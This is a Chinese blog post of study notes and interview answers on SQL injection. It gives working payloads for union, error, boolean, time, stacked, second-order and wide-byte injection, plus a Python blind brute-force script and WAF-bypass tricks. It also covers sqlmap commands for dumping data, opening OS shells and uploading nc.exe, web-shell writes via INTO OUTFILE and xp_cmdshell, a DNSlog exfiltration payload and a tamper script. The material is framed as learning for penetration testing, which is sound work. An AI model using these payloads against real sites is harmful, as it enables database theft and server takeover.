Web安全——sql注入
由于我的博客是学到渗透的时候才做的,没有关于WEB漏洞的笔记,现在发现WEB层面的漏洞有些不太熟悉了,边写一下笔记边复习一下,就从sql注入开始吧
话不多说先上表,基本常用的手工注入函数解释都在这
union select | 联合查询,联合注入常用 |
database() | 回显当前连接的数据库 |
version() | 查看当前sql的版本如:mysql 1.2.3, mariadb-4.5.6 |
group_concat() | 把产生的同一分组中的值用,连接,形成一个字符串 |
information_schema | 存了很多mysql信息的数据库 |
information_schema.schemata | information_schema库的一个表,名为schemata |
schema_name | schemata表中存储mysql所有数据库名字的字段 |
information_schema.tables | 存了mysql所有的表 |
table_schema | tables表中存每个表对应的数据库名的字段 |
table_name | 表的名字和table_schema一一对应 |
information_schema.columns | columns表存了所有的列的信息4 |
column_name | 当你知道一个表的名字时,可通过次字段获得表中的所有字段名(列名) |
table_name | 表的名字和column_name一一对应 |
select updatexml(1,concat(0x7e,database(),0x7e),1); | 这里注意,只在databse()处改你想要的内容即可报错回显 |
right(str, num) | 字符串从右开始截取num个字符 |
left(str,num) | 同理:字符串从左开始截取num个字符 |
substr(str,N,M) | 字符串,从第N个字符开始,截取M个字符 |
SQL注入原理
SQL注入漏洞的产生需要满足以下两个条件
- 参数用户可控:前端传给后端的参数内容是用户可以控制的。
- 参数带入数据库查询:传入的参数拼接到SQL语句,且带入数据库查询
当传入的D参数为and1=1时,执行的SQL语句。(#号表示注释符,但一般用–空格,很多数据库都通用)
select from users where id=1 and 1=1#
因为1=1为真,且 wherei语句中id=1也为真,所以页面会返回与id=1相同的结果。当传入的ID参数为and1=2时,由于1=2不成立,所以返回假,页面就会返回与id=1不同的结果
通过这个简短的语句可以初步判断参数是否存在SQL注入漏洞,如果验证有攻击者可以进一步拼接SQL语句进行攻击,致使数据库泄露,甚至获取服务器权限
Union注入攻击
在判断了注入点之后,使用order by判断该数据表的字段数量
例如输入这个,回显的与id=1相同结果
id=1 order by 4#
但order by 5之后回显了不同的结果,则说明字段数为4
判断完字段数后使用union注入,判断回显字段的位置
使用union注入要注意参数设置成-1,否则数据库会优先查询参数值,无法判断回显位置
id=-1 union select 1,2,3,4#
接着在回显的字段上输入攻击的代码,例如2是回显字段位,输入database()就能查看数据库
id=-1 union select 1,database(),3,4#
假设得知数据库名为sqli,得知数据库库名之后,查询表名,group_concat函数把产生的同一分组中的值用,连接,形成一个字符串
id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema="sqli",3,4#
假设得知表名为flag,查询字段名
id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name="flag",3,4#
得知字段名查字段
id=-1 union select 1,group_concat(flag) from sqli.flag,3,4#
这就是基本的union注入思路,但实战情况下会有很多过滤防止攻击者获取数据库的信息
报错注入攻击
报错注入可以在判断注入点之后,但是没有回显字段,只会显示错误信息的情况下使用
关键的命令是select updatexml(1,concat(0x7e,database(),0x7e),1); 在database()处修改想要攻击的语句
其中0x7e是ASCII编码,意思是~,用于区分系统报错和关键信息
接下来的思路和union注入一样,但要注意的点是需要使用right函数和left函数来查询报错回显的字段,因为通常报错回显的字段数是有限的,而需要的数据库信息比较长
| right(str, num) | 字符串从右开始截取num个字符 |
| left(str,num) | 同理:字符串从左开始截取num个字符 |
用法示例
-1 union select updatexml(1,concat(0x7e,right( (select(group_concat(schema_name))from information_schema.schemata),31 ),0x7e),1); #
Boolean注入攻击
当页面只显示yes或no,而不返回数据库中的任何数据,就使用Boolean注入攻击
首先使用Lenth()函数判断数据库名的长度
id=1 and lenth(database())>=1#
查询数据库名长度后,使用substr函数逐字获取数据库名,数据库库名的范围一般在a~z、0~9之内,还可能有一些特殊字符
substr(str,N,M) 字符串,从第N个字符开始,截取M个字符
id=1 and substr(database(),1,1)='a'#
但一般这种方式手工速度很慢效率很低,一般采用爆破的方式,可以使用bp进行爆破,用返回字节长度判断是否正确
爆出数据库名之后后面的方法同理
时间注入攻击
时间注入和Boolean注入差不多,不同之处是时间注入利用于什么都不返回,连是否正确都不返回。
时间注入利用sleep函数让MySQL执行时间变长从而判断是否注入成功
判断数据库长度语句是
id=if(length(database())>1,sleep(5),1)
意思是如果数据库名长度大于1,则暂停五秒后执行,否则直接执行
了解了时间盲注后就可以用开始的思路进行攻击
id=if(substr(database(),1,1)='a',sleep(5),1)
但是时间盲注手工注入比Boolean注入还要慢,一般用python脚本来实现爆破
贴上代码
import requests
import timeheaders = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36"
}
word1 = []
word2 = []
# url = input("url:")
# t = input("sleep:")for i in range(65, 91):word1.append(chr(i))
for i in range(97, 123):word1.append(chr(i))
for i in range(48, 58):word1.append(chr(i))
word1.append('{')
word1.append('}')for i in range(97, 123):word2.append(chr(i))
for i in range(48, 58):word2.append(chr(i))
word2.append('{')
word2.append('}')for i in range(1, 40):for j in word2:url = "http://URL/?id=1 and if(substr((select flag from sqli.flag)," + str(i) + ",1)='" + str(j) + "',sleep(3),1)#"t1 = time.time()r = requests.get(url, headers) #发送GET请求。 返回Response对象。t2 = time.time()if t2 - t1 > 3:print(j)
堆叠注入攻击
堆叠查询可以执行多条语句,每条语句用分号隔开。堆叠注入和union注入的区别就是,堆叠注入可以执行任意语句,而union注入只限于查询语句
例如可以向数据库添加或删除数据
id=1;insert into user(id,username,password)values('5','zhangsan','123456');#
二次注入攻击
二次注入就是攻击者将攻击代码经过注册或者其他方式储存在数据库,当数据库再次调用这个攻击代码时,才会被攻击。
例如本身数据库存在一个admin账户但是不知道其密码,当我们注册一个账户名为admin’#构造一个闭合,接着再去修改密码,原数据库的语句就为
Update user set password=’New password‘ where username=‘admin‘#’ and password=’password‘
由于admin存在#,后面的语句将无法执行,所以数据库就将admin的密码修改成我们刚刚修改的密码
宽字节注入攻击
宽字节注入一般适用于当闭合的时候被 ‘/’ 转义,一般情况下此处是不存在SQL注入漏洞的。但是有一个情况例外就是当数据库的编码为GBK的时候。
’/‘的编码为%5c,GBK而%df5c是繁体字連,所以可以在被转义的字符前面加上%df逃逸
XFF注入攻击
通过BurpSuite抓取数据包,可以看到HTTP请求头中有一个头部参数X- Forwarded-for.X- Forwarded-For简称XF头,它代表客户端真实的IP,通过修改X- Forwarded-for的值可以伪造客户端IP,将X- Forwarded-for设置为127.0.0.1,然后访问URL,页面返回正常
使用Union注入方法完成注入
X-forwarded-for: 127.0.0.1' union select 1,2,3,4#
SQL注入绕过技术
绕过的方法太多了,每种方法的应用的场景也不同,这里不仔细讲,将常见的方法列出来
- 大小写绕过:常用于关键字过滤,由于mysql语句对大小写没要求,可以使用大小写进行绕过
- 双写绕过:常用于关键字过滤,例如and被过滤,可以写成anandd
- 编码绕过:常用于关键字过滤,将被过滤的关键字使用URL编码两次,因为服务器会自动解析一次
- 空格绕过:空格被过滤,使用/**/代替空格,tab代替空格,%0a代替空格,括号绕过空格
- 内联注释绕过:常用于关键字过滤,使用/*! and*/将关键字and括起来绕过
- 注释符绕过:当注释符被过滤时,采用union select 1,2,3||'1,或union select 1,2,’3,或者union select 1,2,3 or ‘1’='1
- and、or绕过:and=&&,or=||
- =绕过:使用like,或者<>
- 逗号绕过:使用join 。union select 1,2#等价于union select * from (select1)a join (select2)b
- 等价函数
group_concat() ==> concat_ws()
sleep() ==> benchmark()
mid()、substr() ==> substring()
user() ==> @@user
updatexml() ==> extractvalue()
在使用手工注入的时候可以将多种绕过方法组合在一起,成功的机率更大。
自动化工具sqlmap用法简介
sqlmap是针对于sql注入漏洞的自动化工具
sqlmap -h查看帮助
### sqlmap基础
GET传参
读取当前数据库版本用户
sqlmap -u http://URL/?id=1 –current-user –current-db
检测是否存在注入点
sqlmap -u http://URL/?id=1
拿库名
sqlmap -u http://URL/?id=1 --dbs
假设拿到库名sqli,拿表名
sqlmap -u http://URL/?id=1 -D sqli --tables
假设拿到表名user,拿列名
sqlmap -u http://URL/?id=1 -D sqli -T user --columns
假设拿到列名user,password,拿字段
sqlmap -u http://URL/?id=1 -D sqli -T user -C user,password --dump
POST传参
当数据提交方式为post的时候,使用bp抓包,将文本保存下来test.txt,(test.txt如果没有放到sqlmap目录就用绝对路径)。
sqlmap -r test.txt -p id //-r参数打开文件,-p参数注入用的参数。
剩下的操作就和GET方式无异
sqlmap进阶
这里主要讲如果绕过WAF
- –level=5:探测等级,1-5,默认为1,等级越高,payload越多,速度越慢。HTTP cookei在level为2时就会测试,HTTP User-Agent/Referer在level为3时就会测试。
- –risk=RISK 执行测试的风险(0-3,默认为1)
- –threads #采用多线程(–threads 3)
- –referer“http://www.google.com” //模拟来源,就是从哪个网页跳转过来的。如果不懂可以谷歌referer
- –cookie=COOKIE:设置http请求的cookie,level2时,会尝试cookie注入,eg:“PHPSESSID=aaaa”
- –user-agent:修改http请求中的user-agent,通常修改为搜索引擎的UA头来模拟搜索引擎,防止被封ip,也可以使用–random-agent参数,随机的从user-agent.txt中获取。(level 3时会尝试对user-agent注入)
- –proxy=PROXY:通过代理服务器来连接目标url
- –delay=times :延时注入,秒为单位,避免引起防火墙注意
- –tamper 通过编码绕过WAF
防止封IP最简单粗暴的方法就是代理池绕过,去网上购买代理(也有免费的就是不好用),设置–porxy=代理ip,再每次请求的时候都更换一个ip,防火墙就不会检测到
### sqlmap高级
- –id-dba:当前用户是否为管理权限
- –roles:列出数据库管理员角色,仅适用于当前数据库是Oracle的时候
- –referer=https://www.baid.com :sqlmap可以在请求中伪造HTTP中的referer,当–level参数设定为3或者3以上的时候会尝试对referer注入
- –sql-shell:运行自定义sql语句
- –os-cmd,–os-shell:运行任意操作系统命令
- –file-read “C:/example.exe”:从数据库服务器中读取文件
- sqlmap.py -u URL –file-write ”/software/nc.exe” –file-dest “C:/WINDOWS/Temp/nc.exe” 上传文件到数据库服务器中
SQL面试题总结
转载于苏爽爽的博客-
一、知识储备类
1.SQL与NoSQL的区别?
SQL:关系型数据库
NoSQL:非关系型数据库
存储方式:SQL具有特定的结构表,NoSQL存储方式灵活
性能:NoSQL较优于SQL
数据类型:SQL适用结构化数据,如账号密码;NoSQL适用非结构化数据,如文章、评论
2.常见的关系型数据库?
mysql、sqlserver、oracle、access、sqlite、postgreSQL
3.常见的数据库端口?
关系型:
mysql:3306、sqlserver:1433、orecal:1521、PostgreSQL:5432、db2:50000
非关系型:
MongoDB:27017、Redis:6379、memcached:11211
4.简述数据库的存储引擎
数据库存储引擎是数据库底层软件组织,数据库管理系统(DBMS)使用数据引擎进行创建、查询、更新和删除数据。不同的存储引擎提供不同的存储机制、索引技巧、锁定水平等功能,使用不同的存储引擎,还可以获得特定的功能。
InnoDB:主流的存储引擎,mysql默认存储引擎
MyISAM:查询、插入速度快,不支持事务
MEMORY:hash索引、BTREE索引
5.SQL注入有哪几种注入类型?
从注入参数类型分:数字型注入、字符型注入、搜索型注入
从注入方法分:基于报错、基于布尔盲注、基于时间盲注、联合查询、堆叠注入、内联查询注入、宽字节注入
从提交方式分:GET注入、POST注入、COOKIE注入、HTTP头注入
6.SQL注入的危害及防御?
危害:
数据库泄露、数据库被破坏、网站崩溃、服务器被植入木马
防御:
代码层面对查询参数进行转义、预编译与参数绑定、利用WAF防御
7.如果存在SQL注入怎么判断不同的数据库?
根据报错信息判断
根据执行函数返回的结果判断,如len()和lenth(),version()和@@version等
根据注释符判断
8.mysql的网站注入,5.0以上和5.0以下有什么区别?
从sql注入的角度来说,mysql5.0以下版本没有information_schema这个系统库,无法列出表名列名,只能暴力跑
9.Mysql一个@和两个@什么区别
一个@是用户自定义变量
两个@是系统变量,如@@version、@@user
10.MYSQL注入/绕过常用的函数
注入常用函数:
database() 返回当前数据库名、user() 返回当前数据库用户名、updatexml() 更新xml文档,常用于报错注入、mid() 从指定字段中提取出字段的内容、limit() 返回结果中的前几条数据或者中间的数据、concat() 返回参数产生的字符串、group_concat() 分组拼接函数、count() 返回指定参数的数目、rand() 参数0~1个随机数、flood() 向下取整、substr() 截取字符串、ascii() 返回字符串的ascii码、left() 返回字符串最左边指定个数的字符、ord() 返回字符的ascii码、length() 返回字符串长度、sleep() 延时函数
等价函数绕过,反之亦可:
group_concat() ==> concat_ws()
sleep() ==> benchmark()
mid()、substr() ==> substring()
user() ==> @@user
updatexml() ==> extractvalue()
11.UDF提权原理?
mysql支持用户自定义函数,将含有自定义函数的dll放入特定的文件夹,声明引入dll中的执行函数,使用执行函数执行系统命令
12.MSSQL差异备份原理及条件?
原理:
完整备份后,再次对数据库进行修改,差异备份会记录最后的LSN,将shell写入数据库,备份成asp即可getshell
条件:
MSSQL具有dbo或sa权限、支持堆叠查询、找到网站的绝对路径
二、实操技能类
1.SQL注入写shell的条件,用法
条件:
当前用户具有dba权限、找到网站绝对路径、网站有可写目录、mysql的配置secure_file_priv为空
用法:
mysql: id=1’ and 1=2 union select 1,2,‘shell内容’ into outfile “绝对路径\shell.php” %23
sqlserver: id=1’;EXEC master…xp_cmdshell ‘echo “shell内容” > 绝对路径\shell.asp’ –
2.sql注入过滤了逗号,怎么弄?
join绕过:
union select * from ((select 1)A join (select 2)B join (select 3)C join (select group_concat(user(),’ ‘,database(),’ ',@@datadir))D);
3.sleep被禁用后还能怎么进行sql注入
benchmark代替sleep:
id=1 and if(ascii(substring((database()),1,1))=115,(select benchmark(10000000,md5(0x41))),1) --+
笛卡尔积盲注:
select * from ctf_test where user=‘1’ and 1=1 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C)
RLIKE盲注:
select * from flag where flag=‘1’ and if(mid(user(),1,1)=‘r’,concat(rpad(1,999999,‘a’),rpad(1,999999,‘a’),rpad(1,999999,‘a’),rpad(1,999999,‘a’),rpad(1,999999,‘a’),rpad(1,999999,‘a’),rpad(1,999999,‘a’),rpad(1,999999,‘a’),rpad(1,999999,‘a’),rpad(1,999999,‘a’),rpad(1,999999,‘a’),rpad(1,999999,‘a’),rpad(1,999999,‘a’),rpad(1,999999,‘a’),rpad(1,999999,‘a’),rpad(1,999999,‘a’)) RLIKE ‘(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+cd’,1)
4.什么是宽字节注入?如何操作?
宽字节注入:
当php开启gpc或者使用addslashes函数时,单引号’被加上反斜杠\’,其中\的URL编码为%5C,我们传入%df’,等价于%df%5C’,此时若程序的默认字符集是GBK,mysql用GBK编码时会认为%df%5C是一个宽字符縗,于是%df%5C’便等价于縗’,产生注入。
操作:
id=1%df’ and 1=2 union select 1,2,user(),4 %23
5.怎样进行盲注速度更快?
DNSlog盲注:
id=1’ and load_file(concat(’\\\’,(select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 1,1),’.your-dnslog.com\\cHr1s’))–+
6.什么是二次注入?
参数传入的恶意数据在传入时被转义,但是在数据库处理时又被还原并存储在数据库中,导致二次注入。
举例:
注册用户名admin’#用户,传入值为admin\’#,但是在存储数据库时值变为admin’#,此时若修改密码为123456,管理员admin密码就被修改为123456
7.sql注入常见的过WAF方法?
内联注释绕过、填充大量脏数据绕过、垃圾参数填充绕过、改变提交方式绕过:如GET方式变为POST方式提交、随机agent头绕过、fuzz过滤函数,函数替换绕过
8.sqlmap如何编写tamper?
tamper固定模板如下:
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
pass
PROIORITY
用于定义tamper优先级,当调用多个tamper时生效,优先级如下,数值越大优先级越高
LOWEST = -100
LOWER = -50
LOW = -10
NORMAL = 0
HIGH = 10
HIGHER = 50
HIGHEST = 100
dependencies
用于提示用户tamper适用范围,具体代码如下:
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
import os
__priority__ = PRIORITY.LOW
def dependencies():
singleTimeWarnMessage(“过狗tamper ‘%s’ 只针对 %s” % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
DBMS.MYSQL代表MYSQL,其他数据库类推
Tamper
tamper关键函数,用于定义过滤规则,示例代码如下:
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def tamper(payload, **kwargs):
payload=payload.replace(‘AND’,’/*!29440AND*/’)
payload=payload.replace(‘ORDER’,’/*!29440order*/’)
payload=payload.replace(‘LIKE USER()’,‘like (user/**/())’)
payload=payload.replace(‘DATABASE()’,‘database/*!29440*/()’)
payload=payload.replace(‘CURRENT_USER()’,‘CURRENT_USER/**/()’)
payload=payload.replace(‘SESSION_USER()’,‘SESSION_USER(%0a)’)
payload=payload.replace(‘UNION ALL SELECT’,‘union/*!29440select*/’)
payload=payload.replace(‘super_priv’,’/*!29440/**/super_priv*/’)
payload=payload.replace(‘and host=’,’/*!29440and*/host/*!11440=*/’)
payload=payload.replace(‘BENCHMARK(’,‘BENCHMARK/*!29440*/(’)
payload=payload.replace(‘SLEEP(’,‘sleep/**/(’)
return payload
fuzz出具体payload后对关键字符进行替换
将上述过程简单总结来回答hr问题即可
Web安全——sql注入相关推荐
- CTFshow——web入门——sql注入
web入门--sql注入 基础知识点 判断是否注入 order by 判断列数 使用union select 判断回显 查询数据库 web171 web172 web173 web174 web175 ...
- ctfshow web入门-sql注入
ctfshow web入门-sql注入 web171 web172 web173 web174 web175 web176 web177 web178 web179 web180 web181 web ...
- web之SQL注入篇BUU
web之SQL注入篇BUU [强网杯 2019]随便注 预处理语句 handler [SUCTF 2019]EasySQL 判断是字符型还是数字型注入 判断是否可以联合查询 判断是否可以使堆叠注入 | ...
- 《从0到1:CTFer成长之路》书籍配套题目-[第一章 web入门]SQL注入-2
[第一章 web入门]SQL注入-2 一.信息收集 1.首页 2.登录成功会跳转到 3.进行测试判断 二.尝试破解 1.用post型的sqlmap破解 <1>.首先,开burp截包 < ...
- web漏洞-SQL注入漏洞、目录遍历漏洞、文件下载漏洞
这里用到的是Pikachu漏洞练习平台 一.SQL注入漏洞-数字型注入 SQL注入漏洞简介 在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库 ...
- web测试-sql注入漏洞
1.web程序三层结构 2.什么是sql注入 SQL注入 是将Web页面的原URL.表单域或数据包输入的参数,修改拼接成SQL语句,传递给Web服务器,进而传给数据库服务器以执行数据库命令. 注入攻击 ...
- 【ctfshow】web篇-SQL注入 wp
前言 记录web的题目wp,慢慢变强,铸剑. SQL注入 web171 根据语句可以看到有flag没有被显示出来,让我们拼接语句来绕过 //拼接sql语句查找指定ID用户 $sql = "s ...
- Web渗透-SQL注入
渗透测试基础 一.渗透攻击流程 二.渗透测试主流工具 域名注册信息查询: Whois在线查询目标网络信息DNS和IP,nslookup 在线漏洞搜索引擎: fofa.info,shodan.io,zo ...
- ctfshow web入门 sql注入
无过滤注入 web171 查询语句 $sql = "select username,password from user where username !='flag' and id = ' ...
- WEB安全-SQL注入
注意:文章仅供大家参考学习 文章目录 前言 一.SQL注入是什么? 二.造成SQL注入的原因 三.SQL注入原理 四.修复建议 五.靶场演示 六.关键分析代码 前言 注意:文章仅供大家参考 网络安全中 ...
最新文章
- 浅析:setsockopt()改善程序的健壮性【转】
- jboss7 java版本,jdk 1.7推荐使用什么社区版本的Jboss以及为什么
- 跟踪Makefile输出调试信息
- 项目: 打字母游戏图形化【C++ / C】
- 常用加密算法的Java实现(一) ——单向加密算法MD5和SHA
- MySQL之日期时间处理函数_MySQL之日期时间处理函数
- vector的求和用法accumulate
- (计算机组成原理)第五章中央处理器-第三节2:CPU专用数据通路
- 【ROS】ros入门21讲(上)
- 国外src(漏洞挖掘平台)
- MacOS删除开机启动项
- docker里面什么emule比较好_emule 服务器优先
- qcustomplot圆_Qt之QCustomPlot(图形库)
- 小白月赛26:E牛牛走迷宫(BFS)
- vite2+vue3打包后浏览器打开跨域浏览器的错误
- 大连的房价很便宜了!
- IDM trust Keycloak
- 用wps/excel绘制仪表盘
- python爬取淘宝数据魔方_《淘宝数据魔方技术架构解析》阅读笔记
- Windows 2008R2 +MDT2013+WDS(1)